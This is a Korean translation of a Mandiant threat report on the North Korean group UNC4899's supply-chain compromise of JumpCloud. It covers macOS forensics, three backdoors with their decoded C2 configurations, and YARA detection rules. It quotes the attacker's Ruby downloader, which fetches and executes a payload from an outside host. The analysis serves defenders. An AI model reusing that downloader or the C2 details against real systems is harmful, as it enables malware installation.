SaaS 제공 기업들을 활용한 북한의 표적화된 공급망 공격
Mandiant
작성자: Austin Larsen, Dan Kelly, Joseph Pisano, Mark Golembiewski, Matt Williams, Paige Godvin
* 본 아티클의 원문은 2023년 7월 23일 Google Cloud 블로그(영문)에 게재되었습니다.
2023년 7월, Mandiant Consulting은 미국 소프트웨어 솔루션 업체를 대상으로 한 공급망 침해 사고에 대응했습니다. 이 침해는 궁극적으로 아이덴티티 및 액세스 관리에 사용되는 제로 트러스트 디렉토리 플랫폼 서비스인 JumpCloud를 겨냥한 정교한 스피어 피싱 캠페인의 결과로 시작된 것으로 Mandiant는 판단합니다. JumpCloud는 이 무단 액세스가 5명 미만의 고객과 10개 미만의 장치에 영향을 미쳤다고 보고했습니다. 이 블로그 게시물의 세부 사항은 JumpCloud의 영향을 받은 고객 중 한 곳에 대한 공격에 대한 Mandiant의 조사를 기반으로 합니다.
Mandiant는 이러한 침입을 UNC4899에 기인했습니다. UNC4899은 암호화폐 관련 업체를 과거에 공격한 이력이 있는 북한과 관련된 공격 집단입니다. Mandiant는 UNC4899이 북한의 정보기술 조직 (Reconnaissance General Bureau, RGB) 내에서 암호화폐와 관련된 활동에 집중하고 있다고 보고 있습니다. 신뢰할 수 있는 파트너의 정보에 따르면, UNC4899은 주로 블록체인 관련 기업을 주로 공격하여 금전적 이익을 목적으로 하는 북한 위협 집단인 TraderTraitor와 일치하는 것으로 보입니다.
공급망 공격
2023년 6월 27일 18:51:57 UTC에 Mandiant는 한 소프트웨어 솔루션 업체의 JumpCloud 에이전트를 통해 실행된 악성 Ruby 스크립트를 발견했습니다. JumpCloud는 보안 사고 리포트에서 코맨드 프레임워크가 악성 데이터 삽입 과정에 사용되었음을 확인했습니다. 이 스크립트의 내용과 기능은 아래 백도어 페이로드 내용에서 확인하실 수 있습니다.


그림 1: 공격 경로
Host Artifacts
침해의 증거는 /private/var/log/jcagent.log 파일 경로에 위치한 JumpCloud 에이전트 로그에서 관찰되었습니다.
Mandiant는 jcagent.log 로그 항목에서 시스템을 트리거한 “Runworkflow” 라는 지시어를 확인했습니다.
time=2023-06-27 18:51:57.415615-07:00 PID=82291 level=warning msg=Fallback Poll was required to handle the following directive: RunWorkflow
time=2023-06-27 18:51:57.416036-07:00 PID=82291 level=info msg=policies manager received a request to update workflow policies
time=2023-06-27 18:51:57.416145-07:00 PID=82291 level=info msg=removeWorkflowPolicies - Removing isExecuteOnGUILogin workflow policies
time=2023-06-27 18:51:57.416192-07:00 PID=82291 level=info msg=updateWorkflowPolicies - Adding all current workflow policies
time=2023-06-27 18:51:57.416238-07:00 PID=82291 level=info msg=Processing TypeScheduleCron
time=2023-06-27 18:51:57.416308-07:00 PID=82291 level=info msg=Policy manager creating schedule cron monitor ID=<ID> name=Workflow schedule=immediate type=WORKFLOW
time=2023-06-27 18:51:57.416550-07:00 PID=82291 level=info msg=policies manager received a request to apply Workflow policy
조사 과정에서 Mandiant는 공격자가 13.3 또는 13.4.1 버전을 실행하는 4대의 OSX Ventura 시스템을 타겟팅한 것을 확인했습니다. 이 시스템들의 포렌식 분석 과정에서 Mandiant는 조사에 매우 중요한 비교적 확인된 새로운 포렌식 아티팩트가 있었습니다.
해당 포렌식 아티팩트는 Apple의 XProtect 서비스, 특히 XProtect Behavioral Service와 관련이 있습니다. Apple은 현재 다섯 가지 실행 감시 기반 규칙(behavioral-based rules)을 정의하고 있으며, 이 규칙 중 하나 이상을 위반하는 실행 프로그램에 대한 정보는 SQLite 3 형식으로 저장되고 /var/protected/xprotect/XPdb 경로에 위치한 XProtect 데이터베이스(XPdb)에 기록됩니다. 현재 XProtect 실행 감시 서비스는 실행을 차단하도록 구성되어 있지 않은 것으로 보입니다.
Mandiant는 XPdb에 저장된 데이터를 분석하여 공격 페이로드와 연관된 특정 사인(signing identifier)를 포함하는 항목을 확인했습니다. 구체적으로, XPdb 내의 exec_signing_id 필드는 바이너리의 서명에 대한 정보를 포함하고 있으며, 이를 통해 특정 서명된 바이너리의 작성자를 식별하는 데 도움이 될 수 있습니다. Mandiant는 악성 파일과 관련된 세 개의 고유한 서명을 확인했습니다:
- mac-555549440ea0d64e96bb34428e08cc8d948b40e7
- p-macos-55554944c2a6eb29a7bc3c73acdaa3e0a7a8d8c7
- securityd-555549440fca1d2f1e613094b0c768d393f83d7f
Mandiant는 이러한 서명을 사용하여 XPdb에서 공격자가 삭제했거나 다른 분석 형식을 통해 식별할 수 없었던 추가 공격 페이로드를 검색했습니다.
XPdb에서 또 다른 흥미롭게 발견된 사실은 실행된 바이너리의 코드 디렉토리 해시(cdhash)를 포함하는 exec_cdhash였습니다. Mandiant는 XPdb에 저장된 cdhash 값을 사용하여 여러 시스템에서 악성 바이너리가 과거에 실행된 사실을 확인했습니다. cdhash는 응용 프로그램의 실행 코드를 기반으로 계산되기 때문에 Mandiant는 파일이 공격자에 의해 삭제되고 샘플의 파일 해시가 다르더라도 환경에서 추가 악성 코드를 식별할 수 있었습니다.
위협 행위들은 지속적으로 이전 페이로드를 디스크에서 제거하는 것으로 관찰되었지만, FSEvents 아티팩트는 이전에 디스크에 존재했던 파일 대한 중요한 정보를 제공할 수 있었습니다. FSEvents에는 파일 시스템 자체에 더 이상 해당 파일의 존재를 나타내는 아티팩트가 남아 있지 않은 경우에도 파일의 생성, 수정, 권한 변경, 이름 변경 및 삭제에 대한 세부 정보가 포함되어 있습니다. 개별 항목과 연결된 node_id 필드를 사용하여 Mandiant는 시스템에서 특정 공격자 활동의 순서와 이름이 변경된 파일의 업데이트된 이름을 식별할 수 있었습니다.
다음 표에서 FSEvents에서 얻은 관련 데이터의 예시를 확인할 수 있습니다.
백도어 페이로드
초기 액세스
침해 공격자는 JumpCloud를 손상시키고 명령 프레임워크에 악성 코드를 삽입하여 초기 접근 권한을 얻었습니다. 최소 하나의 인스턴스에서의 악성 코드는 JumpCloud 에이전트를 통해 실행된 다소 간단한 Ruby 스크립트였습니다. 스크립트에는 두 번째 단계 페이로드를 다운로드하여 실행하라는 지침이 포함되어 있습니다. 침해자가 피해 환경의 시스템에 대한 초기 액세스 권한을 얻은 후 24시간 이내에 추가 백도어를 배포하고 plist를 통해 지속성을 유지했습니다. 초기 페이로드와 두 번째 단계 백도어는 시스템에서 제거되었습니다.
Ruby 스크립트와 2차 단계 페이로드의 디렉토리 선택과 네이밍 방식은 위협 행위자가 합법적인 파일 및 응용 프로그램으로 위장하는 데 상당한 우선순위를 두고 작업하는 것으로 볼 수 있습니다.
Mandiant는 여러 시스템에 배포된 Ruby 스크립트인 init.rb를 확인했습니다.
require 'open-uri'
ffn = '/usr/local/bin/com.docker.vmnat'
File.open(ffn, 'wb') do |file|
file.write(open('hxxps://primerosauxiliosperu[.]com/lic.dat').read)
end
sleep(1)
File.chmod(0755, ffn)
fn = '/usr/local/bin/com.docker.vmnat.lock'
File.open(fn, 'wb') do |file|
file.write(open('hxxps://primerosauxiliosperu[.]com/lic_bak.dat').read)
end
sleep(1)
system(ffn)
스크립트는 ffn과 fn의 변수로 정의된 위치에 두 개의 파일을 다운로드하지만, 시스템 함수를 통해 첫 번째 파일만 실행합니다. 두 번째 파일은 호스트에서 식별할 수 없습니다.
FULLHOUSE.DOORED (com.docker.vmnat, npx-cli, us.zoom.ZoomUpdate)
공격자는 앞서 언급한 Ruby 스크립트를 사용하여 /usr/local/bin/com.docker.vmnat을 다운로드하고 실행했습니다. 그러나 com.docker.vmnat은 시스템에서 제거되었습니다. 다행히 /private/var/db/oah 디렉토리에서 이 파일의 실행과 관련된 아티팩트가 발견되었습니다.
com.docker.vmnat가 x86-64 시스템용으로 컴파일되었을 가능성이 높기 때문에 코드는 대상 시스템에서 성공적으로 실행되도록 ARM64로 변환되어야 했습니다. 결과적으로 Apple의 Rosetta 2 번역기는 oah 디렉토리 아래에 com.docker.vmnat.aot 파일을 생성했습니다. 이 파일에는 변환된 ARM64 코드와 원본 com.docker.vmnat 응용 프로그램에 있는 심볼이 포함되어 있습니다. 이러한 심볼을 기반으로 Mandiant는 com.docker.vmnat이 FULLHOUSE.DOORED 백도어의 한 버전이었다고 평가합니다. 단, 신뢰도는 중간 수준입니다.
FULLHOUSE.DOORED는 C/C++로 작성된 백도어 프로그램이며 HTTP를 사용하여 통신합니다. FULLHOUSE 터널러의 기능을 포함하고 있으며 셸 명령 실행, 파일 전송, 파일 관리, 프로세스 주입과 같은 백도어 명령도 지원합니다. 명령 및 제어 (C2) 서버는 명령줄 또는 구성 파일에서 설정해야 합니다.
합법적인 바이너리 프로그램으로 위장된 이름을 가진 시스템에서 추가적인 공격자 백도어가 식별되었습니다. 이 백도어는 변환 과정에서도 AOT 파일을 생성했습니다 (예: npx-cli 및 npx-cli.aot).
STRATOFEAR (com.google.kservice, us.zoom.ZoomService)
피해 환경 내의 시스템에 STRATOFEAR가 정확히 어떻게 배포되었는지를 결정할 만한 포렌식 증거는 제한적이었습니다. 그러나 각 사례에서 STRATOFEAR의 배포 이전에는 FULLHOUSE.DOORED가 배포되었습니다. Mandiant가 분석한 시스템들에서는 하나의 백도어만 남아 있는 것으로 나타났는데, 이는 침해자가 FULLHOUSE.DOORED를 1단계 백도어로 사용한 다음 STRATOFEAR를 2단계 백도어로 배포했을 수 있음을 나타냅니다.
STRATOFEAR는 모듈형 백도어로, C2 서버와 프로토콜을 사용하여 통신합니다. 이 프로토콜은 로컬 파일에서 해독된 C2 구성에 지정되어 있습니다. 백도어의 주요 기능은 추가 모듈 검색 및 실행과 관련됩니다. 모듈은 원격 서버에서 다운로드하거나 디스크에서 로드할 수 있습니다.
STRATOFEAR에는 2개의 파일 경로를 포함하는 내장 구성이 있습니다. 첫 번째 경로 (/Library/Fonts/ArialUnicode.ttf.md5)는 C2 서버를 포함하여 백도어의 전체 구성을 저장합니다. 두 번째 경로 (/Library/Fonts/ArialUnicode.ttf.md5.1)는 다음과 같은 모니터 활동과 관련된 로깅 정보를 저장하는 데 사용될 수 있습니다.
STRATOFEAR의 해독된 0x1052 바이트 구성 일부는 다음과 같습니다.
00000410 25 63 01 00 00 00 E8 03 00 00 03 00 00 00 02 00 %c....è.........
00000420 00 00 65 6D 62 65 64 3A 2F 2F 30 00 00 00 00 00 ..embed://0.....
00000430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000004A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000004B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000004C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000004D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000004E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000004F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000520 00 00 00 00 00 00 70 73 73 6C 3A 2F 2F 63 6F 6E ......pssl://con
00000530 74 6F 72 74 6F 6E 73 65 74 2E 63 6F 6D 3A 34 34 tortonset.com:44
00000540 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3...............
00000550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000005A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000005B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000005C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000005D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000005E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000005F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000620 00 00 00 00 00 00 00 00 00 00 70 73 73 6C 3A 2F ..........pssl:/
00000630 2F 72 65 6C 79 73 75 64 64 65 6E 2E 63 6F 6D 3A /relysudden.com:
00000640 34 34 33 00 00 00 00 00 00 00 00 00 00 00 00 00 443.............
STRATOFEAR는 offset 0x410 (0x16325)의 4바이트 값을 uid로 참조합니다. offset 0x416 (0x3e8 또는 10진수 1000)의 4바이트 값은 백도어의 버전 번호입니다. STRATOFEAR의 구성 파일에는 AES-128- 암호화된 모듈이 포함될 수 있지만, 발견된 샘플에서는 이 경우가 아니었습니다.
STRATOFEAR에서 지원하는 명령 subset은 다음 표에 나열되어 있습니다.
0x07 명령을 사용하여 수집된 시스템 정보에는 시스템 이름, 현재 사용자 이름 및 시스템 아키텍처가 포함됩니다.
STRATOFEAR는 다음 표에 나열된 모듈 관련 명령을 지원합니다.
다운로드한 모듈은 $TMPDIR 또는 /tmp 디렉토리의 .tmp 파일에 저장될 수 있으며, 파일 이름은 6자의 알파벳 숫자로 무작위로 생성됩니다.
STRATOFEAR의 코드는 ID 값과 내부 이름을 가진 5개의 미리 정의된 모듈 타입을 참조하고 있습니다.
STRATOFEAR는 또한 모듈의 위치를 보고하는 데 사용되는 문자열을 포함합니다. 가능한 위치는 "Config", "Static" 또는 "Path"이며 그 뒤에 파일 경로가 옵니다.
STRATOFEAR는 최대 16개의 스레드를 사용하여 시스템 활동을 모니터링하기 위해 "모니터"라고 부르는 것을 사용합니다. 백도어는 8개의 다른 모니터를 참조하며 0x45를 제외한 모두에 대한 설명이 포함되어 있습니다.
Mandiant는 특정 Common Name(CN)을 포함하는 자체 서명 인증서가 있는 ARM64 시스템용 Mach-O 실행 파일로 컴파일된 STRATOFEAR 변종을 1개를 직접 관찰했습니다. Mandiant는 동일한 자체 서명 인증서 CN을 가진 두 번째 샘플을 VirusTotal에서 확인했습니다. 두 번째 샘플은 VMProtect로 보호된 Windows DLL이며 2022년 10월 19일에 처음 VirusTotal에 제출되었습니다. Mandiant는 이 DLL이 STRATOFEAR의 Windows 버전이라고 중간 수준의 신뢰도로 평가합니다.
TIEDYE (xpc.protect)
피해 환경 내의 시스템에 TIEDYE가 정확히 어떻게 배포되었는지를 결정할 만한 포렌식 증거는 제한적이었습니다. 하지만, STRATOFEAR와 유사하게, TIEDYE는 FULLHOUSE.DOORED에 의해 2단계 백도어로 배포되었을 가능성이 높습니다.
xpc.protect라는 이름의 Mach-O 실행 파일이 식별되었고 TIEDYE 백도어의 발전된 형태로 판명되었습니다. TIEDYE는 다음과 같이 다양한 지원 프로토콜을 사용하여 C2 서버와 통신할 수 있습니다. TIEDYE는 추가적인 페이로드 검색 및 실행, 기본 시스템 정보 수집, 셸 명령 실행 등의 기능을 포함합니다.
TIEDYE의 원시 구성 일부는 다음과 같습니다.
00000000 00 00 01 E3 00 0E 00 1E 00 00 00 04 00 03 00 20 ...ã...........
00000010 00 10 56 E6 00 00 00 04 00 03 00 21 00 00 00 05 ..Væ.......!....
00000020 00 00 00 7D 00 0D 00 33 00 00 00 37 00 0E 00 00 ...}...3...7....
00000030 00 00 00 17 00 0C 00 34 73 73 6C 3A 2F 2F 62 61 .......4ssl://ba
00000040 73 6B 65 74 73 61 6C 75 74 65 2E 63 6F 6D 00 00 sketsalute.com..
00000050 00 00 04 00 03 00 35 00 00 00 00 00 00 00 04 00 ......5.........
00000060 03 00 36 00 00 00 00 00 00 00 36 00 0E 00 00 00 ..6.......6.....
00000070 00 00 16 00 0C 00 34 73 73 6C 3A 2F 2F 72 65 6E ......4ssl://ren
00000080 74 65 64 70 75 73 68 79 2E 63 6F 6D 00 00 00 00 tedpushy.com....
00000090 04 00 03 00 35 00 00 00 00 00 00 00 04 00 03 00 ....5...........
000000A0 36 00 00 00 00 00 00 00 04 00 03 00 23 00 00 00 6...........#...
000000B0 0A 00 00 01 08 00 0D 00 24 00 00 00 24 00 0E 00 ........$...$...
000000C0 00 00 00 00 04 00 03 00 25 00 00 03 E8 00 00 00 ........%...è...
000000D0 04 00 03 00 26 00 00 00 00 00 00 00 04 00 03 00 ....&...........
000000E0 27 00 00 00 00 00 00 00 24 00 0E 00 00 00 00 00 '.......$.......
000000F0 04 00 03 00 25 00 00 03 E9 00 00 00 04 00 03 00 ....%...é.......
00000100 26 00 00 00 00 00 00 00 04 00 03 00 27 00 00 00 &...........'...
00000110 00 00 00 00 24 00 0E 00 00 00 00 00 04 00 03 00 ....$...........
00000120 25 00 00 03 EA 00 00 00 04 00 03 00 26 00 00 00 %...ê.......&...
00000130 00 00 00 00 04 00 03 00 27 00 00 00 00 00 00 00 ........'.......
00000140 24 00 0E 00 00 00 00 00 04 00 03 00 25 00 00 03 $...........%...
00000150 ED 00 00 00 04 00 03 00 26 00 00 00 00 00 00 00 í.......&.......
00000160 04 00 03 00 27 00 00 00 00 00 00 00 24 00 0E 00 ....'.......$...
00000170 00 00 00 00 04 00 03 00 25 00 00 00 00 00 00 00 ........%.......
00000180 04 00 03 00 26 00 00 00 00 00 00 00 04 00 03 00 ....&...........
00000190 27 00 00 00 00 00 00 00 24 00 0E 00 00 00 00 00 '.......$.......
000001A0 04 00 03 00 25 00 00 00 00 00 00 00 04 00 03 00 ....%...........
000001B0 26 00 00 00 00 00 00 00 04 00 03 00 27 00 00 00 &...........'...
000001C0 00 00 00 00 22 00 0C 00 37 2F 4C 69 62 72 61 72 ...."...7/Librar
000001D0 79 2F 43 61 63 68 65 73 2F 63 6F 6D 2E 61 70 70 y/Caches/com.app
000001E0 6C 65 2E 70 72 69 76 61 63 79 00 05 05 05 05 05 le.privacy......
이 구성에는 프로토콜 식별자로 시작하는 2개의 C2 서버가 포함되어 있습니다. TIEDYE는 tcp, tcp6, udp, upd6, http, https, proxy_socks4, proxy_socks4a, pipe, ssl, ssl3, rdp 프로토콜을 지원합니다. 구성 끝에 있는 파일 경로는 AES-128을 사용하여 암호화된 구성 데이터를 저장하는 데 사용됩니다.
이전 버전의 TIEDYE는 LaunchAgent를 통해 지속되도록 구성되었습니다. 현재 버전은 다음 위치 중 한 곳에서 LaunchAgent를 생성하는 기능을 포함하고 있지만 그렇게 구성되지는 않았습니다:
$HOME/Library/LaunchAgents/com.studentd.agent.plist/Library/LaunchDaemons/com.studentd.agent.plist
TIEDYE는 TCP를 통해 커스텀 바이너리 프로토콜로 통신하는 C++로 작성된 백도어인 RABBITHUNT와 유사합니다. RABBITHUNT의 핵심 기능은 메모리에 직접 다운로드되거나 로컬 파일에서 읽은 모듈을 통해 구현됩니다. 모듈을 통해 추가되는 기능에는 리버스 쉘, 파일 전송, 프로세스 생성 및 프로세스 종료가 포함됩니다.
북한의 암호화폐 공격
Mandiant는 UNC4899가 경영진 및 내부 보안팀과 관련된 MacOS 키체인 및 정찰 데이터를 타겟팅하는 것을 확인했습니다.
UNC4899의 공격 대상은 별도의 RGB 연계 그룹인 APT43과 중복됩니다. APT43는 2023년 7월에 암호화폐 분야에 대한 관심을 표명했으며, 특히 미국, 한국, 홍콩, 싱가포르의 여러 핀테크 및 암호화폐 기업의 다양한 C-레벨 임원을 타겟팅했습니다. 이 개인 중 상당수는 금융 서비스, 암호화폐, 블록체인, web3 및 관련 조직에서 근무하고 있습니다. 북한 집단 간의 타겟팅 영역의 중복과 인프라 공유는 지속적인 타겟팅과 암호화폐 분야에 집중하고 있다는 것을 알 수 있습니다.
작전 실수
Mandiant는 RGB 집단이 일련의 Operational Relay Boxes (ORB)를 L2TP IPsec 터널과 상업 VPN 제공업체와 함께 사용하여 원본 주소를 숨기는 것을 관찰했습니다. 이 중계기들은 RGB 내 여러 조직에서 많이 공유되는 것으로 보입니다.
Mandiant는 UNC4899가 다양한 VPN 제공업체를 최종 홉(hop)으로 활용하는 것을 관찰했으며, 그 중 ExpressVPN이 가장 흔했지만 NordVPN, TorGuard 및 기타 많은 제공업체에 대한 연결도 관찰되었습니다. 북한 위협 행위자들이 이 마지막 홉을 사용하지 않거나 피해자 네트워크에서 작업을 수행하는 동안 실수로 사용하지 않는 경우가 많았습니다.
RGB 행위자가 사용하는 VPN은 때때로 실패하여 행위자의 실제 위치 IP 주소를 노출시킵니다. Mandiant는 북한 위협 행위자 UNC4899가 공격자가 제어하는 ORB에 175.45.178[.]0/24 서브넷 (평양 류경동)에서 직접 연결하는 것을 관찰했습니다. 또한, 북한 위협 행위자가 점프 박스 중 하나에서 평양 IP에 직접 로그인하는 것을 확인했습니다. 이러한 북한 네트워크 블록에 대한 연결이 단시간이었기 때문에 이는 OPSEC 실수였을 것으로 추정됩니다. 그림 2는 이 캠페인에서 사용된 네트워크 인프라의 개요를 제공합니다.


그림 2: UNC4899 네트워크 인프라
Mandiant는 이전 공격 작전에서 PTR 기록이 변경되지 않았다는 사실 때문에 추가적인 인프라를 발견할 수 있었고, 앞서 wasxxv[.]site 도메인이 북한 위협 행위자에 의해 사용되고 있음을 확인했습니다. 또한 IP 주소 198.244.135[.]250은 또 다른 C2 도메인 prontoposer[.]com에 사용되고 있지만 여전히 이전에 식별된 도메인을 가리키는 PTR 레코드를 보유하고 있습니다.
Attribution
Mandiant는 이 활동을 북한과 관련된 것으로 추정되는 UNC4899로 추적하고 있습니다. 높은 신뢰도로 UNC4899이 RGB 산하의 암호화폐 중심 그룹이라고 평가합니다. UNC4899의 타겟팅은 선택적이며, JumpCloud를 통해 피해자 네트워크에 액세스하는 것이 관찰되었습니다. Mandiant는 RGB 산하에 있는 여러 북한 그룹 간의 중복을 관찰했습니다. 이러한 그룹은 일반적으로 목표를 달성하기 위해 인프라를 공유하고, UNC2970, APT43 및 UNC4899가 모두 유사한 인프라를 활용하는 것을 관찰했습니다.
Mandiant는 지난해 금전 취득을 목적으로 한 북한의 공격 작전이 증가한 것을 관찰했으며, 특히 암호화폐 산업에 집중된 경우가 두드러졌습니다. Lazarus라는 알려져 있는 RGB 관련 암호화폐 관련 공격 그룹과 오픈 소스 "TraderTraitor" 및 "AppleJeus"와 같이 잘 알려진 기존 APT 그룹과 확실히 연관된 변종들은 점점 더 암호화폐 산업과 다양한 블록체인 플랫폼에 타격을 주는 금전적 이익을 취하기 위한 공격 작전을 수행하고 있습니다.
전망 & 시사점
공격 캠페인은 JumpCloud를 타겟팅하며, 올해 초에 보고된 북한 공급망 침해 사건은 Trading Technologies X_TRADER 애플리케이션과 3CX Desktop App 소프트웨어에 영향을 미쳤습니다. 이러한 운영의 연쇄적인 효과는 서비스 공급자에 대한 액세스 권한을 얻기 위해 피해자를 공격하는 것을 보여줍니다. 두 작전 모두 금전적 이윤을 목적으로 하는 북한 공격그룹과 관련이 있는 것으로 추측되며, 이는 북한 운영자가 암호화폐 및 핀테크 관련 자산을 타겟팅하기 위한 노력의 일환으로 공급망 TTP를 구현하고 있음을 시사합니다. Mandiant는 북한 암호화폐 부대가 암호화폐 업계의 고액 자산 개인과 그들이 사용하는 소프트웨어 솔루션을 타겟팅하기 위해 MacOS 멀웨어 및 기능 개발을 지속적으로 진행할 것으로 평가합니다.
Mandiant는 북한의 사이버 환경이 공격 툴을 서로간 공유하고 표적하는 피해 조직에 공격 작전을 성공시키기 위한 노력을 함께 하고있다고 평가합니다. 북한 사이버 조직들이 현재의 관심 영역을 빠르게 전환하여 랜섬웨어, 무기 및 핵 공격, 암호화폐 등과 같이 다양한 산업 분야를 대상으로 공격을 진행시키고 있는 걸 확인했습니다. 이러한 북한의 활동 "효율화"는 방어자가 사이버 공역에서 악의적인 활동을 추적, 특정하고 저지시키기 더욱 어렵게 만듭니다. 동시에, 이제는 협업적으로 변화한 사이버 공격자가 보다 은밀하고 빠른 속도로 움직일 수 있도록 합니다. Mandiant는 공격 대상과 공격 툴을 공유하는 수준을 볼 때, RGB의 영향력이 크게 작용하는 사이버 환경의 외부에서도 변화가 지속적으로 발생하고 있다고 판단합니다.
감사
블로그 시작에 표시되어 있는 작성자들 외에도 Mandiant는 북한 관련 침입에 대응하기 위해 고객사와 협력하는 데 지속적인 노력과 헌신을 보여준 많은 전문가들에게 감사의 말씀을 드립니다. 또한 Google의 위협 분석 그룹 (TAG), Mandiant의 북한 퓨전 셀(DPRK Fusion Cell)과 정부 파트너 여러분의 지속적인 협업과 지원에 특별한 감사를 드립니다. 끝으로, 지속적인 파트너십과 탐지용 YARA 룰 및 관련 지표 제공에 도움을 주신 Trellix에게도 감사드립니다.
Indicators of Compromise (IOCs)
Network IOCs
Endpoint IOCs
XPdb IOCs
탐지 룰
YARA
M_APT_Backdoor_STRATOFEAR_1
{
meta:
author = "Mandiant"
description = "Detects instances of STRATOFEAR"
md5 = "6d8194c003d0025fa92fbcbf2eadb6d1"
platform = "OSX, Win64"
malware_family = "STRATOFEAR"
strings:
$str1 = "-alone" ascii
$str2 = "-psn" ascii
$str3 = "embed://" ascii
$str4 = "proc_data" ascii
$str5 = "udp://" ascii
$str6 = "Path : %s" ascii
$str7 = "127.0.0.1" ascii
condition:
((uint32(0) == 0xBEBAFECA) or (uint32(0) == 0xFEEDFACE) or (uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xCEFAEDFE)) and all of them
}
M_APT_Backdoor_TIEDYE_1
{
meta:
author = "Mandiant"
description = "Detects instances of TIEDYE"
md5 = "15bfe67e912f224faef9c7f6968279c6"
platforms = "OSX"
malware_family = "TIEDYE"
strings:
$str1 = "%s/Library/LaunchAgents/com.%s.agent.plist" ascii
$str2 = "/Library/LaunchDaemons/com.%s.agent.plist" ascii
$str3 = "%s/.plugin%04d.so" ascii
$str4 = "sw_vers -productVersion" ascii
$str5 = "!proxy=http://" ascii
$str6 = "Content-Type: application/octet-stream" ascii
$str7 = "<key>RunAtLoad</key>" ascii
$str8 = "<string>com.%s.agent</string>" ascii
$str9 = "%sProxy-Authorization: %s" ascii
$str10 = "!udp_type"
$str11 = "!http="
condition:
((uint32(0) == 0xBEBAFECA) or (uint32(0) == 0xFEEDFACE) or (uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xCEFAEDFE)) and all of them
}
FE_APT_Backdoor_MacOS_FULLHOUSE_1
{
meta:
author = "FireEye"
description = "Detects instances of FULLHOUSE."
platforms = "OSX"
malware_family = "FULLHOUSE"
strings:
$s1 = /<\x00%\x00l?\x00s\x00>\x00<\x00%\x00l?\x00s\x00>\x00<\x00%\x00l?\x00s\x00>/ wide
$sb1 = { E8 [4-32] 83 F8 ?? 0F 87 [4] 48 8D 0D [4] 48 63 04 81 48 01 C8 FF E0 }
condition:
((uint32(0) == 0xBEBAFECA) or (uint32(0) == 0xFEEDFACE) or (uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xCEFAEDFE)) and all of them
}
Mandiant Security Validation Actions
다음의 사항들을 Mandiant Security Validation.을 통해 보안 효과성 검사를 실행해 볼 수 있습니다.
